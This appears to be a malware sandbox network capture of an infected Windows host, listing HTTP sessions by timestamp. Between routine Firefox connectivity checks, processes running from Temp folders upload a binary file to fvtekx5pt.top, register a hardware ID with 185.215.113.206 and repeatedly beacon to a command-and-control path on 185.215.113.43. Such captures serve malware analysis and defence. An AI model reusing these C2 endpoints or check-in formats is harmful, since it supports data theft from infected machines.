Dec 2, 2024 11:22:05.789146900 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:05.947357893 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 15:05:35 GMT Age: 69390 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.11.20	49807	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:06.107630968 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:06.265944958 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25708 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 2, 2024 11:22:06.371371984 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:06.529752970 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25708 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 2, 2024 11:22:06.809257030 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:06.972644091 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25708 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 2, 2024 11:22:07.156343937 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:07.314661026 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25709 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 2, 2024 11:22:11.801330090 CET	303	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 2, 2024 11:22:11.959443092 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 02 Dec 2024 03:13:38 GMT Age: 25713 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.11.20	49810	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:06.204864025 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:06.369582891 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61962 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 2, 2024 11:22:06.648164988 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:06.807677031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61962 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 2, 2024 11:22:06.996916056 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:07.154613018 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61963 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 2, 2024 11:22:11.642050982 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:11.799489021 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61967 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49829	34.159.64.221	80	1912	C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:09.234240055 CET	1289	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekx5pt.top Accept: / Content-Length: 36501 Content-Type: multipart/form-data; boundary=------------------------mYDY1hnc0Wcvu1s4riGbUp Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6d 59 44 59 31 68 6e 63 30 57 63 76 75 31 73 34 72 69 47 62 55 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 61 73 65 73 65 6c 69 6b 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4c 38 ff 26 b4 15 ea 2c 27 cc cc 87 65 50 ab e5 84 dc d7 12 dc 24 f0 b1 a7 43 11 3d f4 ca ca ae eb c9 1d 62 7b 6c 40 c2 f2 ce 9b ac dd 8f 4c 50 78 ad 52 84 f2 ea ef 6c 53 8f 91 d2 7a 8a 6a a1 47 53 b4 eb 1b 67 e6 a9 dd 88 c5 9d 4c 72 68 64 af b7 92 c3 d6 35 3f 67 05 70 07 ad 37 10 26 51 d6 ee 08 b1 6e be 8c 0e 40 9f 78 c5 31 f9 24 16 a8 a9 52 21 62 d6 c4 ad bd 87 8b 98 02 91 0e 0c a6 87 2a 1c ed d6 34 9c 07 cf 59 be 08 92 69 20 e4 a8 7f fc 17 a1 dc 51 01 98 94 05 b1 1a eb 47 58 2d 29 ec 61 de 2e f8 61 72 32 05 10 73 6b [TRUNCATED] Data Ascii: --------------------------mYDY1hnc0Wcvu1s4riGbUpContent-Disposition: form-data; name="file"; filename="Vaseselik.bin"Content-Type: application/octet-streamL8&,'eP$C=b{l@LPxRlSzjGSgLrhd5?gp7&Qn@x1$R!b4Yi QGX-)a.ar2sk:u#!j.>v??vC.Maq[D9WyIQiGbklA4TAB!U~\|:FD%0 VvEs9gg\|l9a6Fm$:b>3D.[CqrfvPiw\|"yJxtol-@hfc}P!q6qXil[dyS}=;R W2NUZM&A}4;2[~)Cvf)~InGg'cVHa~-d$KgNdz=N}@+lGtI3,nL_509 vwb'X+-_opt~'lyREy=tH(TysY63?+Vgy.~0qo_,5\|T"8r.fRWCNVIb?kOp=pRm0O)%q@gS=MF\IFH ==Z)(O\|OeAWY2d^YLcd<br1@s!b [TRUNCATED]
Dec 2, 2024 11:22:09.234292030 CET	5156	OUT	Data Raw: 00 c6 cc d0 7b 7f bf ba de 0e 03 c9 89 2a 27 d6 93 85 99 15 0b 13 dd 0b 81 85 ba 26 9c c2 22 6a f7 19 73 77 72 cb 84 41 46 5e 97 fc 62 02 a9 a1 e2 43 8c ef 94 ee fa 39 66 0a 26 43 0b 1f 49 b5 7d 65 06 56 2b 5b 2f 6c d3 41 72 64 31 dd d3 fa f8 de Data Ascii: {'&"jswrAF^bC9f&CI}eV+[/lArd1UT7lH{3#jSR1{/`.$RzXp33:)@]l`\| 6C$e=i({oR8$$6:Jo
Dec 2, 2024 11:22:09.234359026 CET	6445	OUT	Data Raw: ca 92 d4 22 45 7b 83 60 c4 37 fa c8 48 6d cc 14 0b f9 1c 7e dd 0b 4d bc 59 5c 04 4e 9a d8 99 64 d2 02 52 37 bb 0b 3b 27 b4 b0 ce 6e 54 9b f8 a1 a9 40 a9 63 2c 61 e6 b3 00 6d 23 6c e4 c5 ca ba 0d 08 f2 82 2f b9 b2 3b 8e 69 9d 2a 9f 0d b9 a2 96 c5 Data Ascii: "E{`7Hm~MY\NdR7;'nT@c,am#l/;i*Np..wG6$oCps@Lgm8N5Qi' .SaSA8Q$JAD{<w<zlnp#Q:H{9hB~<ai(+mX4
Dec 2, 2024 11:22:09.525682926 CET	1289	OUT	Data Raw: 90 51 1b b0 79 92 fc 29 ac 2d a8 3e 15 24 a9 57 80 f7 18 db 81 79 16 ef 43 6d e1 b8 09 bb c3 55 d8 8e ae 15 39 34 f6 58 c3 1f fb 3c b6 d6 38 53 5f 72 c7 1f a1 c2 0a 33 be 46 25 46 92 a5 25 c6 aa 1e 9c 25 e9 36 1b 3f d8 7f 1e 27 a8 9a 97 02 bb b0 Data Ascii: Qy)->$WyCmU94X<8S_r3F%F%%6?'!tZ~x`t@1SKT;!FQ)un5hp6v2GJ'}QX]KK3j-~s?SA b1spw$w3!EcD\|z4(tz 54u_F2G#?3
Dec 2, 2024 11:22:09.525738001 CET	5156	OUT	Data Raw: dc e1 b1 4f 2c d1 41 35 6f 26 7b 2c 81 52 37 77 a1 18 6b 55 c5 da 13 29 95 6e 03 7f 46 d7 56 c0 35 6f ad 12 3e fb ac 21 e0 f6 ad a9 6e ae db 4b 0b a0 8c 78 6c a2 f3 bd 4c a9 f6 b1 5e c2 53 ce 0a 52 8a 32 7b ae 71 d5 7b ea 80 52 03 92 a6 f1 63 50 Data Ascii: O,A5o&{,R7wkU)nFV5o>!nKxlL^SR2{q{RcP#c'Fy4PLgAgB!Vz0Vq1O9LazP\| C;WDx*O9WQ%\|sPXC2U<q`Ijn2dQf,t8871B2
Dec 2, 2024 11:22:09.525782108 CET	6445	OUT	Data Raw: b4 3e 81 9e 14 8a ee 0b 25 a2 8b e1 ce d2 9e a4 29 29 ad 3e 04 7b 36 0b 74 77 f3 77 77 2e 48 d6 21 fb bf 73 92 f9 7c 84 35 f4 f3 fb 43 fb 69 55 39 64 75 ae ef 73 62 18 85 62 d8 50 d5 6a 75 0c 56 cc 69 fe 3f e9 90 45 be 60 a1 c1 be 63 b9 ff 63 a2 Data Ascii: >%))>{6twww.H!s\|5CiU9dusbbPjuVi?E`ccut6CK$7T:kt#nk <!KRv/x9O8W\|]d Rz;Yk>w2^Ce[XD~Z^7^4IW#KF:gR%f=yOd'):Iyac_S-
Dec 2, 2024 11:22:09.525955915 CET	10902	OUT	Data Raw: e4 46 60 a9 b5 25 94 47 35 82 18 46 bf a7 cd 2d 5f c6 c8 13 44 d8 56 32 0b 3a bd 45 ad 2e d3 97 ae b1 99 39 4d 6a 8e 3b 86 df 4b 7f fb cd 85 1d e9 bd 11 8c 28 57 c0 55 dc 10 86 d8 6b 10 c6 6c b1 dd 3c f6 4c c9 09 dc 54 90 de 78 39 06 f1 2f 0e 92 Data Ascii: F`%G5F-_DV2:E.9Mj;K(WUkl<LTx9/]FJta/10Rc?T(fY:Ch34k6:&Sbwo2.3]n)PyIA8DUDG@OY%Ucm~/w`"]iV24K/O)]
Dec 2, 2024 11:22:09.867422104 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Mon, 02 Dec 2024 10:22:09 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 27 x-ratelimit-reset: 1733136720 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.11.20	49830	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:09.336036921 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 11:22:09.658037901 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:22:09.659288883 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 36 30 41 41 37 35 35 43 42 36 31 37 30 39 33 34 31 30 38 36 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 2d 2d 0d 0a Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="hwid"6D60AA755CB61709341086------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="build"drum------BKKJKFBKKECFHJKEBKEH--
Dec 2, 2024 11:22:09.984621048 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49831	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:09.616317987 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 31 32 37 32 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011272001&unit=425316567296
Dec 2, 2024 11:22:09.941850901 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49833	34.159.64.221	80	1912	C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:11.344873905 CET	196	OUT	POST /RrlNvinfLqYZQoxgChZr1732768478 HTTP/1.1 Host: home.fvtekx5pt.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 5a 43 51 6e 41 48 4e 66 55 71 72 36 76 45 68 36 31 37 33 33 31 33 34 39 30 36 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "ZCQnAHNfUqr6vEh61733134906", "data": "Done2" }
Dec 2, 2024 11:22:11.858308077 CET	141	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Mon, 02 Dec 2024 10:22:11 GMT content-type: text/html; charset=utf-8 content-length: 4 Data Raw: 6f 6b 61 79 Data Ascii: okay

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49835	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:11.884401083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 2, 2024 11:22:12.206707954 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49839	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:14.041671038 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Dec 2, 2024 11:22:14.369055986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49843	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:16.312418938 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 2, 2024 11:22:16.638813972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49845	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:18.467839003 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Dec 2, 2024 11:22:18.796924114 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.11.20	49852	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:22:20.647599936 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:20.805139065 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61976 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 2, 2024 11:22:20.917294979 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 2, 2024 11:22:21.075021029 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 01 Dec 2024 17:09:24 GMT Age: 61976 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 2, 2024 11:22:21.197982073 CET	301	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
